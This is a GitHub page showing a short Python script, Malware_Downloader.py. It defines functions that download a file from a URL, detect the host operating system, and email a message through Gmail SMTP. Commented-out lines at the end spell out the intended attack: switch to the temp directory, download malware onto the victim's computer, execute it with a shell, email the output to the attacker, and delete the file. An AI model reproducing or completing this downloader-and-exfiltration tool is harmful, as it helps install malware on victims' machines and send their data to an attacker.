-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMalware_Downloader.py
More file actions
44 lines (34 loc) · 1.09 KB
/
Malware_Downloader.py
File metadata and controls
44 lines (34 loc) · 1.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import requests
import smtplib
import subprocess
import sys
import tempfile
email = ''
password = ''
def download(url):
get_request = requests.get(url)
file_name = url.split('/')[-1]
with open(file_name, 'wb') as outfile:
outfile.write(get_request.content)
def find_os():
if sys.platform == "linux" or sys.platform == "linux2":
# linux
return 'linux'
elif sys.platform == "darwin":
# OS X
return 'osx'
elif sys.platform == "win32":
# Windows...
return 'windows'
def send_mail(email, password, message):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
# os.chdir(tempfile.gettempdir()) # go to temp directory
# download() # download malware on their computer
# result = subprocess.check_output(, shell = True) # name is name of malware
# sendMail(email, password, result)
# os.remove() # remove file